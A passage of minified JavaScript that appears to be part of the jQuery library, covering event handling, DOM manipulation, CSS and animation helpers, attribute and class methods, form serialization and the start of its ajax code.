0===n.defaultPrevented&&!1===n.returnValue?ct:lt,this.target=n.target&&3===n.target.nodeType?n.target.parentNode:n.target,this.currentTarget=n.currentTarget,this.relatedTarget=n.relatedTarget):this.type=n;t&&i.extend(this,t);this.timeStamp=n&&n.timeStamp||Date.now();this[i.expando]=!0};i.Event.prototype={constructor:i.Event,isDefaultPrevented:lt,isPropagationStopped:lt,isImmediatePropagationStopped:lt,isSimulated:!1,preventDefault:function(){var n=this.originalEvent;this.isDefaultPrevented=ct;n&&!this.isSimulated&&n.preventDefault()},stopPropagation:function(){var n=this.originalEvent;this.isPropagationStopped=ct;n&&!this.isSimulated&&n.stopPropagation()},stopImmediatePropagation:function(){var n=this.originalEvent;this.isImmediatePropagationStopped=ct;n&&!this.isSimulated&&n.stopImmediatePropagation();this.stopPropagation()}};i.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},i.event.addProp);i.each({focus:"focusin",blur:"focusout"},function(n,t){i.event.special[n]={setup:function(){return hi(this,n,pe),!1},trigger:function(){return hi(this,n),!0},_default:function(){return!0},delegateType:t}});i.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(n,t){i.event.special[n]={delegateType:t,bindType:t,handle:function(n){var u,r=n.relatedTarget,f=n.handleObj;return r&&(r===this||i.contains(this,r))||(n.type=f.origType,u=f.handler.apply(this,arguments),n.type=t),u}}});i.fn.extend({on:function(n,t,i,r){return nr(this,n,t,i,r)},one:function(n,t,i,r){return nr(this,n,t,i,r,1)},off:function(n,t,r){var u,f;if(n&&n.preventDefault&&n.handleObj)return u=n.handleObj,i(n.delegateTarget).off(u.namespace?u.origType+"."+u.namespace:u.origType,u.selector,u.handler),this;if("object"==typeof n){for(f in n)this.off(f,t,n[f]);return this}return!1!==t&&"function"!=typeof t||(r=t,t=void 0),!1===r&&(r=lt),this.each(function(){i.event.remove(this,n,r,t)})}});var we=/<script|<style|<link/i,be=/checked\s*(?:[^=]|=\s*.checked.)/i,ke=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;i.extend({htmlPrefilter:function(n){return n},clone:function(n,t,r){var u,c,o,f,l,a,v,h=n.cloneNode(!0),y=st(n);if(!(e.noCloneChecked||1!==n.nodeType&&11!==n.nodeType||i.isXMLDoc(n)))for(f=s(h),u=0,c=(o=s(n)).length;u<c;u++)l=o[u],a=f[u],void 0,"input"===(v=a.nodeName.toLowerCase())&&gt.test(l.type)?a.checked=l.checked:"input"!==v&&"textarea"!==v||(a.defaultValue=l.defaultValue);if(t)if(r)for(o=o||s(n),f=f||s(h),u=0,c=o.length;u<c;u++)wu(o[u],f[u]);else wu(n,h);return 0<(f=s(h,"script")).length&&di(f,!y&&s(n,"script")),h},cleanData:function(n){for(var u,t,f,s=i.event.special,e=0;void 0!==(t=n[e]);e++)if(ot(t)){if(u=t[r.expando]){if(u.events)for(f in u.events)s[f]?i.event.remove(t,f):i.removeEvent(t,f,u.handle);t[r.expando]=void 0}t[o.expando]&&(t[o.expando]=void 0)}}});i.fn.extend({detach:function(n){return bu(this,n,!0)},remove:function(n){return bu(this,n)},text:function(n){return w(this,function(n){return void 0===n?i.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=n)})},null,n,arguments.length)},append:function(){return at(this,arguments,function(n){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||pu(this,n).appendChild(n)})},prepend:function(){return at(this,arguments,function(n){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pu(this,n);t.insertBefore(n,t.firstChild)}})},before:function(){return at(this,arguments,function(n){this.parentNode&&this.parentNode.insertBefore(n,this)})},after:function(){return at(this,arguments,function(n){this.parentNode&&this.parentNode.insertBefore(n,this.nextSibling)})},empty:function(){for(var n,t=0;null!=(n=this[t]);t++)1===n.nodeType&&(i.cleanData(s(n,!1)),n.textContent="");return this},clone:function(n,t){return n=null!=n&&n,t=null==t?n:t,this.map(function(){return i.clone(this,n,t)})},html:function(n){return w(this,function(n){var t=this[0]||{},r=0,u=this.length;if(void 0===n&&1===t.nodeType)return t.innerHTML;if("string"==typeof n&&!we.test(n)&&!h[(lu.exec(n)||["",""])[1].toLowerCase()]){n=i.htmlPrefilter(n);try{for(;r<u;r++)1===(t=this[r]||{}).nodeType&&(i.cleanData(s(t,!1)),t.innerHTML=n);t=0}catch(n){}}t&&this.empty().append(n)},null,n,arguments.length)},replaceWith:function(){var n=[];return at(this,arguments,function(t){var r=this.parentNode;i.inArray(this,n)<0&&(i.cleanData(s(this)),r&&r.replaceChild(t,this))},n)}});i.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(n,t){i.fn[n]=function(n){for(var u,f=[],e=i(n),o=e.length-1,r=0;r<=o;r++)u=r===o?this:this.clone(!0),i(e[r])[t](u),yi.apply(f,u.get());return this.pushStack(f)}});var tr=new RegExp("^("+hu+")(?!px)[a-z%]+$","i"),ci=function(t){var i=t.ownerDocument.defaultView;return i&&i.opener||(i=n),i.getComputedStyle(t)},ku=function(n,t,i){var u,r,f={};for(r in t)f[r]=n.style[r],n.style[r]=t[r];for(r in u=i.call(n),t)n.style[r]=f[r];return u},no=new RegExp(b.join("|"),"i");!function(){function r(){if(t){s.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0";t.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%";g.appendChild(s).appendChild(t);var i=n.getComputedStyle(t);h="1%"!==i.top;v=12===u(i.marginLeft);t.style.right="60%";a=36===u(i.right);c=36===u(i.width);t.style.position="absolute";l=12===u(t.offsetWidth/3);g.removeChild(s);t=null}}function u(n){return Math.round(parseFloat(n))}var h,c,l,a,o,v,s=f.createElement("div"),t=f.createElement("div");t.style&&(t.style.backgroundClip="content-box",t.cloneNode(!0).style.backgroundClip="",e.clearCloneStyle="content-box"===t.style.backgroundClip,i.extend(e,{boxSizingReliable:function(){return r(),c},pixelBoxStyles:function(){return r(),a},pixelPosition:function(){return r(),h},reliableMarginLeft:function(){return r(),v},scrollboxSize:function(){return r(),l},reliableTrDimensions:function(){var i,t,r,u;return null==o&&(i=f.createElement("table"),t=f.createElement("tr"),r=f.createElement("div"),i.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",r.style.height="9px",r.style.display="block",g.appendChild(i).appendChild(t).appendChild(r),u=n.getComputedStyle(t),o=parseInt(u.height,10)+parseInt(u.borderTopWidth,10)+parseInt(u.borderBottomWidth,10)===t.offsetHeight,g.removeChild(i)),o}}))}();var gu=["Webkit","Moz","ms"],nf=f.createElement("div").style,tf={};var to=/^(none|table(?!-c[ea]).+)/,rf=/^--/,io={position:"absolute",visibility:"hidden",display:"block"},uf={letterSpacing:"0",fontWeight:"400"};i.extend({cssHooks:{opacity:{get:function(n,t){if(t){var i=ni(n,"opacity");return""===i?"1":i}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(n,t,r,u){if(n&&3!==n.nodeType&&8!==n.nodeType&&n.style){var f,h,o,c=y(t),l=rf.test(t),s=n.style;if(l||(t=ir(c)),o=i.cssHooks[t]||i.cssHooks[c],void 0===r)return o&&"get"in o&&void 0!==(f=o.get(n,!1,u))?f:s[t];"string"==(h=typeof r)&&(f=kt.exec(r))&&f[1]&&(r=cu(n,t,f),h="number");null!=r&&r==r&&("number"!==h||l||(r+=f&&f[3]||(i.cssNumber[c]?"":"px")),e.clearCloneStyle||""!==r||0!==t.indexOf("background")||(s[t]="inherit"),o&&"set"in o&&void 0===(r=o.set(n,r,u))||(l?s.setProperty(t,r):s[t]=r))}},css:function(n,t,r,u){var f,e,o,s=y(t);return rf.test(t)||(t=ir(s)),(o=i.cssHooks[t]||i.cssHooks[s])&&"get"in o&&(f=o.get(n,!0,r)),void 0===f&&(f=ni(n,t,u)),"normal"===f&&t in uf&&(f=uf[t]),""===r||r?(e=parseFloat(f),!0===r||isFinite(e)?e||0:f):f}});i.each(["height","width"],function(n,t){i.cssHooks[t]={get:function(n,r,u){if(r)return!to.test(i.css(n,"display"))||n.getClientRects().length&&n.getBoundingClientRect().width?ef(n,t,u):ku(n,io,function(){return ef(n,t,u)})},set:function(n,r,u){var s,f=ci(n),h=!e.scrollboxSize()&&"absolute"===f.position,c=(h||u)&&"border-box"===i.css(n,"boxSizing",!1,f),o=u?rr(n,t,u,c,f):0;return c&&h&&(o-=Math.ceil(n["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(f[t])-rr(n,t,"border",!1,f)-.5)),o&&(s=kt.exec(r))&&"px"!==(s[3]||"px")&&(n.style[t]=r,r=i.css(n,t)),ff(0,r,o)}}});i.cssHooks.marginLeft=du(e.reliableMarginLeft,function(n,t){if(t)return(parseFloat(ni(n,"marginLeft"))||n.getBoundingClientRect().left-ku(n,{marginLeft:0},function(){return n.getBoundingClientRect().left}))+"px"});i.each({margin:"",padding:"",border:"Width"},function(n,t){i.cssHooks[n+t]={expand:function(i){for(var r=0,f={},u="string"==typeof i?i.split(" "):[i];r<4;r++)f[n+b[r]+t]=u[r]||u[r-2]||u[0];return f}};"margin"!==n&&(i.cssHooks[n+t].set=ff)});i.fn.extend({css:function(n,t){return w(this,function(n,t,r){var f,e,o={},u=0;if(Array.isArray(t)){for(f=ci(n),e=t.length;u<e;u++)o[t[u]]=i.css(n,t[u],!1,f);return o}return void 0!==r?i.style(n,t,r):i.css(n,t)},n,t,1<arguments.length)}});((i.Tween=a).prototype={constructor:a,init:function(n,t,r,u,f,e){this.elem=n;this.prop=r;this.easing=f||i.easing._default;this.options=t;this.start=this.now=this.cur();this.end=u;this.unit=e||(i.cssNumber[r]?"":"px")},cur:function(){var n=a.propHooks[this.prop];return n&&n.get?n.get(this):a.propHooks._default.get(this)},run:function(n){var t,r=a.propHooks[this.prop];return this.pos=this.options.duration?t=i.easing[this.easing](n,this.options.duration*n,0,1,this.options.duration):t=n,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),r&&r.set?r.set(this):a.propHooks._default.set(this),this}}).init.prototype=a.prototype;(a.propHooks={_default:{get:function(n){var t;return 1!==n.elem.nodeType||null!=n.elem[n.prop]&&null==n.elem.style[n.prop]?n.elem[n.prop]:(t=i.css(n.elem,n.prop,""))&&"auto"!==t?t:0},set:function(n){i.fx.step[n.prop]?i.fx.step[n.prop](n):1!==n.elem.nodeType||!i.cssHooks[n.prop]&&null==n.elem.style[ir(n.prop)]?n.elem[n.prop]=n.now:i.style(n.elem,n.prop,n.now+n.unit)}}}).scrollTop=a.propHooks.scrollLeft={set:function(n){n.elem.nodeType&&n.elem.parentNode&&(n.elem[n.prop]=n.now)}};i.easing={linear:function(n){return n},swing:function(n){return.5-Math.cos(n*Math.PI)/2},_default:"swing"};i.fx=a.prototype.init;i.fx.step={};hf=/^(?:toggle|show|hide)$/;cf=/queueHooks$/;i.Animation=i.extend(v,{tweeners:{"*":[function(n,t){var i=this.createTween(n,t);return cu(i.elem,n,kt.exec(t),i),i}]},tweener:function(n,t){u(n)?(t=n,n=["*"]):n=n.match(l);for(var i,r=0,f=n.length;r<f;r++)i=n[r],v.tweeners[i]=v.tweeners[i]||[],v.tweeners[i].unshift(t)},prefilters:[function(n,t,u){var f,y,w,c,b,h,o,l,k="width"in t||"height"in t,v=this,p={},s=n.style,a=n.nodeType&&dt(n),e=r.get(n,"fxshow");for(f in u.queue||(null==(c=i._queueHooks(n,"fx")).unqueued&&(c.unqueued=0,b=c.empty.fire,c.empty.fire=function(){c.unqueued||b()}),c.unqueued++,v.always(function(){v.always(function(){c.unqueued--;i.queue(n,"fx").length||c.empty.fire()})})),t)if(y=t[f],hf.test(y)){if(delete t[f],w=w||"toggle"===y,y===(a?"hide":"show")){if("show"!==y||!e||void 0===e[f])continue;a=!0}p[f]=e&&e[f]||i.style(n,f)}if((h=!i.isEmptyObject(t))||!i.isEmptyObject(p))for(f in k&&1===n.nodeType&&(u.overflow=[s.overflow,s.overflowX,s.overflowY],null==(o=e&&e.display)&&(o=r.get(n,"display")),"none"===(l=i.css(n,"display"))&&(o?l=o:(ht([n],!0),o=n.style.display||o,l=i.css(n,"display"),ht([n]))),("inline"===l||"inline-block"===l&&null!=o)&&"none"===i.css(n,"float")&&(h||(v.done(function(){s.display=o}),null==o&&(l=s.display,o="none"===l?"":l)),s.display="inline-block")),u.overflow&&(s.overflow="hidden",v.always(function(){s.overflow=u.overflow[0];s.overflowX=u.overflow[1];s.overflowY=u.overflow[2]})),h=!1,p)h||(e?"hidden"in e&&(a=e.hidden):e=r.access(n,"fxshow",{display:o}),w&&(e.hidden=!a),a&&ht([n],!0),v.done(function(){for(f in a||ht([n]),r.remove(n,"fxshow"),p)i.style(n,f,p[f])})),h=af(a?e[f]:0,f,v),f in e||(e[f]=h.start,a&&(h.end=h.start,h.start=0))}],prefilter:function(n,t){t?v.prefilters.unshift(n):v.prefilters.push(n)}});i.speed=function(n,t,r){var f=n&&"object"==typeof n?i.extend({},n):{complete:r||!r&&t||u(n)&&n,duration:n,easing:r&&t||t&&!u(t)&&t};return i.fx.off?f.duration=0:"number"!=typeof f.duration&&(f.duration=f.duration in i.fx.speeds?i.fx.speeds[f.duration]:i.fx.speeds._default),null!=f.queue&&!0!==f.queue||(f.queue="fx"),f.old=f.complete,f.complete=function(){u(f.old)&&f.old.call(this);f.queue&&i.dequeue(this,f.queue)},f};i.fn.extend({fadeTo:function(n,t,i,r){return this.filter(dt).css("opacity",0).show().end().animate({opacity:t},n,i,r)},animate:function(n,t,u,f){var s=i.isEmptyObject(n),o=i.speed(t,u,f),e=function(){var t=v(this,i.extend({},n),o);(s||r.get(this,"finish"))&&t.stop(!0)};return e.finish=e,s||!1===o.queue?this.each(e):this.queue(o.queue,e)},stop:function(n,t,u){var f=function(n){var t=n.stop;delete n.stop;t(u)};return"string"!=typeof n&&(u=t,t=n,n=void 0),t&&this.queue(n||"fx",[]),this.each(function(){var s=!0,t=null!=n&&n+"queueHooks",o=i.timers,e=r.get(this);if(t)e[t]&&e[t].stop&&f(e[t]);else for(t in e)e[t]&&e[t].stop&&cf.test(t)&&f(e[t]);for(t=o.length;t--;)o[t].elem!==this||null!=n&&o[t].queue!==n||(o[t].anim.stop(u),s=!1,o.splice(t,1));!s&&u||i.dequeue(this,n)})},finish:function(n){return!1!==n&&(n=n||"fx"),this.each(function(){var t,e=r.get(this),u=e[n+"queue"],o=e[n+"queueHooks"],f=i.timers,s=u?u.length:0;for(e.finish=!0,i.queue(this,n,[]),o&&o.stop&&o.stop.call(this,!0),t=f.length;t--;)f[t].elem===this&&f[t].queue===n&&(f[t].anim.stop(!0),f.splice(t,1));for(t=0;t<s;t++)u[t]&&u[t].finish&&u[t].finish.call(this);delete e.finish})}});i.each(["toggle","show","hide"],function(n,t){var r=i.fn[t];i.fn[t]=function(n,i,u){return null==n||"boolean"==typeof n?r.apply(this,arguments):this.animate(ai(t,!0),n,i,u)}});i.each({slideDown:ai("show"),slideUp:ai("hide"),slideToggle:ai("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(n,t){i.fn[n]=function(n,i,r){return this.animate(t,n,i,r)}});i.timers=[];i.fx.tick=function(){var r,n=0,t=i.timers;for(vt=Date.now();n<t.length;n++)(r=t[n])()||t[n]!==r||t.splice(n--,1);t.length||i.fx.stop();vt=void 0};i.fx.timer=function(n){i.timers.push(n);i.fx.start()};i.fx.interval=13;i.fx.start=function(){li||(li=!0,ur())};i.fx.stop=function(){li=null};i.fx.speeds={slow:600,fast:200,_default:400};i.fn.delay=function(t,r){return t=i.fx&&i.fx.speeds[t]||t,r=r||"fx",this.queue(r,function(i,r){var u=n.setTimeout(i,t);r.stop=function(){n.clearTimeout(u)}})};yt=f.createElement("input");sf=f.createElement("select").appendChild(f.createElement("option"));yt.type="checkbox";e.checkOn=""!==yt.value;e.optSelected=sf.selected;(yt=f.createElement("input")).value="t";yt.type="radio";e.radioValue="t"===yt.value;pt=i.expr.attrHandle;i.fn.extend({attr:function(n,t){return w(this,i.attr,n,t,1<arguments.length)},removeAttr:function(n){return this.each(function(){i.removeAttr(this,n)})}});i.extend({attr:function(n,t,r){var f,u,e=n.nodeType;if(3!==e&&8!==e&&2!==e)return"undefined"==typeof n.getAttribute?i.prop(n,t,r):(1===e&&i.isXMLDoc(n)||(u=i.attrHooks[t.toLowerCase()]||(i.expr.match.bool.test(t)?vf:void 0)),void 0!==r?null===r?void i.removeAttr(n,t):u&&"set"in u&&void 0!==(f=u.set(n,r,t))?f:(n.setAttribute(t,r+""),r):u&&"get"in u&&null!==(f=u.get(n,t))?f:null==(f=i.find.attr(n,t))?void 0:f)},attrHooks:{type:{set:function(n,t){if(!e.radioValue&&"radio"===t&&c(n,"input")){var i=n.value;return n.setAttribute("type",t),i&&(n.value=i),t}}}},removeAttr:function(n,t){var i,u=0,r=t&&t.match(l);if(r&&1===n.nodeType)while(i=r[u++])n.removeAttribute(i)}});vf={set:function(n,t,r){return!1===t?i.removeAttr(n,r):n.setAttribute(r,r),r}};i.each(i.expr.match.bool.source.match(/\w+/g),function(n,t){var r=pt[t]||i.find.attr;pt[t]=function(n,t,i){var f,e,u=t.toLowerCase();return i||(e=pt[u],pt[u]=f,f=null!=r(n,t,i)?u:null,pt[u]=e),f}});yf=/^(?:input|select|textarea|button)$/i;pf=/^(?:a|area)$/i;i.fn.extend({prop:function(n,t){return w(this,i.prop,n,t,1<arguments.length)},removeProp:function(n){return this.each(function(){delete this[i.propFix[n]||n]})}});i.extend({prop:function(n,t,r){var f,u,e=n.nodeType;if(3!==e&&8!==e&&2!==e)return 1===e&&i.isXMLDoc(n)||(t=i.propFix[t]||t,u=i.propHooks[t]),void 0!==r?u&&"set"in u&&void 0!==(f=u.set(n,r,t))?f:n[t]=r:u&&"get"in u&&null!==(f=u.get(n,t))?f:n[t]},propHooks:{tabIndex:{get:function(n){var t=i.find.attr(n,"tabindex");return t?parseInt(t,10):yf.test(n.nodeName)||pf.test(n.nodeName)&&n.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}});e.optSelected||(i.propHooks.selected={get:function(n){var t=n.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(n){var t=n.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}});i.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){i.propFix[this.toLowerCase()]=this});i.fn.extend({addClass:function(n){var o,t,r,f,e,s,h,c=0;if(u(n))return this.each(function(t){i(this).addClass(n.call(this,t,it(this)))});if((o=fr(n)).length)while(t=this[c++])if(f=it(t),r=1===t.nodeType&&" "+tt(f)+" "){for(s=0;e=o[s++];)r.indexOf(" "+e+" ")<0&&(r+=e+" ");f!==(h=tt(r))&&t.setAttribute("class",h)}return this},removeClass:function(n){var o,r,t,f,e,s,h,c=0;if(u(n))return this.each(function(t){i(this).removeClass(n.call(this,t,it(this)))});if(!arguments.length)return this.attr("class","");if((o=fr(n)).length)while(r=this[c++])if(f=it(r),t=1===r.nodeType&&" "+tt(f)+" "){for(s=0;e=o[s++];)while(-1<t.indexOf(" "+e+" "))t=t.replace(" "+e+" "," ");f!==(h=tt(t))&&r.setAttribute("class",h)}return this},toggleClass:function(n,t){var f=typeof n,e="string"===f||Array.isArray(n);return"boolean"==typeof t&&e?t?this.addClass(n):this.removeClass(n):u(n)?this.each(function(r){i(this).toggleClass(n.call(this,r,it(this),t),t)}):this.each(function(){var t,o,u,s;if(e)for(o=0,u=i(this),s=fr(n);t=s[o++];)u.hasClass(t)?u.removeClass(t):u.addClass(t);else void 0!==n&&"boolean"!==f||((t=it(this))&&r.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===n?"":r.get(this,"__className__")||""))})},hasClass:function(n){for(var t,r=0,i=" "+n+" ";t=this[r++];)if(1===t.nodeType&&-1<(" "+tt(it(t))+" ").indexOf(i))return!0;return!1}});wf=/\r/g;i.fn.extend({val:function(n){var t,r,e,f=this[0];return arguments.length?(e=u(n),this.each(function(r){var u;1===this.nodeType&&(null==(u=e?n.call(this,r,i(this).val()):n)?u="":"number"==typeof u?u+="":Array.isArray(u)&&(u=i.map(u,function(n){return null==n?"":n+""})),(t=i.valHooks[this.type]||i.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,u,"value")||(this.value=u))})):f?(t=i.valHooks[f.type]||i.valHooks[f.nodeName.toLowerCase()])&&"get"in t&&void 0!==(r=t.get(f,"value"))?r:"string"==typeof(r=f.value)?r.replace(wf,""):null==r?"":r:void 0}});i.extend({valHooks:{option:{get:function(n){var t=i.find.attr(n,"value");return null!=t?t:tt(i.text(n))}},select:{get:function(n){for(var e,t,o=n.options,u=n.selectedIndex,f="select-one"===n.type,s=f?null:[],h=f?u+1:o.length,r=u<0?h:f?u:0;r<h;r++)if(((t=o[r]).selected||r===u)&&!t.disabled&&(!t.parentNode.disabled||!c(t.parentNode,"optgroup"))){if(e=i(t).val(),f)return e;s.push(e)}return s},set:function(n,t){for(var r,u,f=n.options,e=i.makeArray(t),o=f.length;o--;)((u=f[o]).selected=-1<i.inArray(i.valHooks.option.get(u),e))&&(r=!0);return r||(n.selectedIndex=-1),e}}}});i.each(["radio","checkbox"],function(){i.valHooks[this]={set:function(n,t){if(Array.isArray(t))return n.checked=-1<i.inArray(i(n).val(),t)}};e.checkOn||(i.valHooks[this].get=function(n){return null===n.getAttribute("value")?"on":n.value})});e.focusin="onfocusin"in n;er=/^(?:focusinfocus|focusoutblur)$/;or=function(n){n.stopPropagation()};i.extend(i.event,{trigger:function(t,e,o,s){var k,c,l,d,v,y,a,p,w=[o||f],h=ui.call(t,"type")?t.type:t,b=ui.call(t,"namespace")?t.namespace.split("."):[];if(c=p=l=o=o||f,3!==o.nodeType&&8!==o.nodeType&&!er.test(h+i.event.triggered)&&(-1<h.indexOf(".")&&(h=(b=h.split(".")).shift(),b.sort()),v=h.indexOf(":")<0&&"on"+h,(t=t[i.expando]?t:new i.Event(h,"object"==typeof t&&t)).isTrigger=s?2:3,t.namespace=b.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=o),e=null==e?[t]:i.makeArray(e,[t]),a=i.event.special[h]||{},s||!a.trigger||!1!==a.trigger.apply(o,e))){if(!s&&!a.noBubble&&!rt(o)){for(d=a.delegateType||h,er.test(d+h)||(c=c.parentNode);c;c=c.parentNode)w.push(c),l=c;l===(o.ownerDocument||f)&&w.push(l.defaultView||l.parentWindow||n)}for(k=0;(c=w[k++])&&!t.isPropagationStopped();)p=c,t.type=1<k?d:a.bindType||h,(y=(r.get(c,"events")||Object.create(null))[t.type]&&r.get(c,"handle"))&&y.apply(c,e),(y=v&&c[v])&&y.apply&&ot(c)&&(t.result=y.apply(c,e),!1===t.result&&t.preventDefault());return t.type=h,s||t.isDefaultPrevented()||a._default&&!1!==a._default.apply(w.pop(),e)||!ot(o)||v&&u(o[h])&&!rt(o)&&((l=o[v])&&(o[v]=null),i.event.triggered=h,t.isPropagationStopped()&&p.addEventListener(h,or),o[h](),t.isPropagationStopped()&&p.removeEventListener(h,or),i.event.triggered=void 0,l&&(o[v]=l)),t.result}},simulate:function(n,t,r){var u=i.extend(new i.Event,r,{type:n,isSimulated:!0});i.event.trigger(u,null,t)}});i.fn.extend({trigger:function(n,t){return this.each(function(){i.event.trigger(n,t,this)})},triggerHandler:function(n,t){var r=this[0];if(r)return i.event.trigger(n,t,r,!0)}});e.focusin||i.each({focus:"focusin",blur:"focusout"},function(n,t){var u=function(n){i.event.simulate(t,n.target,i.event.fix(n))};i.event.special[t]={setup:function(){var i=this.ownerDocument||this.document||this,f=r.access(i,t);f||i.addEventListener(n,u,!0);r.access(i,t,(f||0)+1)},teardown:function(){var i=this.ownerDocument||this.document||this,f=r.access(i,t)-1;f?r.access(i,t,f):(i.removeEventListener(n,u,!0),r.remove(i,t))}}});var ti=n.location,bf={guid:Date.now()},sr=/\?/;i.parseXML=function(t){var r,u;if(!t||"string"!=typeof t)return null;try{r=(new n.DOMParser).parseFromString(t,"text/xml")}catch(t){}return u=r&&r.getElementsByTagName("parsererror")[0],r&&!u||i.error("Invalid XML: "+(u?i.map(u.childNodes,function(n){return n.textContent}).join("\n"):t)),r};var ro=/\[\]$/,kf=/\r?\n/g,uo=/^(?:submit|button|image|reset|file)$/i,fo=/^(?:input|select|textarea|keygen)/i;i.param=function(n,t){var r,f=[],e=function(n,t){var i=u(t)?t():t;f[f.length]=encodeURIComponent(n)+"="+encodeURIComponent(null==i?"":i)};if(null==n)return"";if(Array.isArray(n)||n.jquery&&!i.isPlainObject(n))i.each(n,function(){e(this.name,this.value)});else for(r in n)hr(r,n[r],t,e);return f.join("&")};i.fn.extend({serialize:function(){return i.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var n=i.prop(this,"elements");return n?i.makeArray(n):this}).filter(function(){var n=this.type;return this.name&&!i(this).is(":disabled")&&fo.test(this.nodeName)&&!uo.test(n)&&(this.checked||!gt.test(n))}).map(function(n,t){var r=i(this).val();return null==r?null:Array.isArray(r)?i.map(r,function(n){return{name:t.name,value:n.replace(kf,"\r\n")}}):{name:t.name,value:r.replace(kf,"\r\n")}}).get()}});var eo=/%20/g,oo=/#.*$/,so=/([?&])_=[^&]*/,ho=/^(.*?):[ \t]*([^\r\n]*)$/gm,co=/^(?:GET|HEAD)$/,lo=/^\/\//,df={},cr={},gf="*/".concat("*"),lr=f.createElement("a");return lr.href=ti.href,i.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ti.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(ti.protocol),global:!0,processData:!0,"async":!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":gf,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":i.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(n,t){return t?ar(ar(n,i.ajaxSettings),t):ar(i.ajaxSettings,n)},ajaxPrefilter:ne(df),ajaxTransport:ne(cr),ajax:function(t,r){function b(t,r,f,c){var v,rt,b,p,g,l=r;s||(s=!0,d&&n.clearTimeout(d),a=void 0,k=c||"",e.readyState=0<t?4:0,v=200<=t&&t<300||304===t,f&&(p=function(n,t,i){for(var e,u,f,o,s=n.contents,r=n.dataTypes;"*"===r[0];)r.shift(),void 0===e&&(e=n.mimeType||t.getResponseHeader("Content-Type"));if(e)for(u in s)if(s[u]&&s[u].test(e)){r.unshift(u);break}if(r[0]in i)f=r[0];else{for(u in i){if(!r[0]||n.converters[u+" "+r[0]]){f=u;break}o||(o=u)}f=f||o}if(f)return f!==r[0]&&r.unshift(f),i[f]}(u,e,f)),!v&&-1<i.inArray("script",u.dataTypes)&&i.inArray("json",u.dataTypes)<0&&(u.converters["text script"]=function(){}),p=function(n,t,i,r){var h,u,f,s,e,o={},c=n.dataTypes.slice();if(c[1])for(f in n.converters)o[f.toLowerCase()]=n.converters[f];for(u=c.shift();u;)if(n.responseFields[u]&&(i[n.responseFields[u]]=t),!e&&r&&n.dataFilter&&(t=n.dataFilter(t,n.dataType)),e=u,u=c.shift())if("*"===u)u=e;else if("*"!==e&&e!==u){if(!(f=o[e+" "+u]||o["* "+u]))for(h in o)if((s=h.split(" "))[1]===u&&(f=o[e+" "+s[0]]||o["* "+s[0]])){!0===f?f=o[h]:!0!==o[h]&&(u=s[0],c.unshift(s[1]));break}if(!0!==f)if(f&&n.throws)t=f(t);else try{t=f(t)}catch(n){return{state:"parsererror",error:f?n:"No conversion from "+e+" to "+u}}}return{state:"success",data:t}}(u,p,e,v),v?(u.ifModified&&((g=e.getResponseHeader("Last-Modified"))&&(i.lastModified[o]=g),(g=e.getResponseHeader("etag"))&&(i.etag[o]=g)),204===t||"HEAD"===u.type?l="nocontent":304===t?l="notmodified":(l=p.state,rt=p.data,v=!(b=p.error))):(b=l,!t&&l||(l="error",t<0&&(t=0))),e.status=t,e.statusText=(r||l)+"",v?tt.resolveWith(h,[rt,l,e]):tt.rejectWith(h,[e,l,b]),e.statusCode(w),w=void 0,y&&nt.trigger(v?"ajaxSuccess":"ajaxError",[e,u,v?rt:b]),it.fireWith(h,[e,l]),y&&(nt.trigger("ajaxComplete",[e,u]),--i.active||i.event.trigger("ajaxStop")))}"object"==typeof t&&(r=t,t=void 0);r=r||{};var 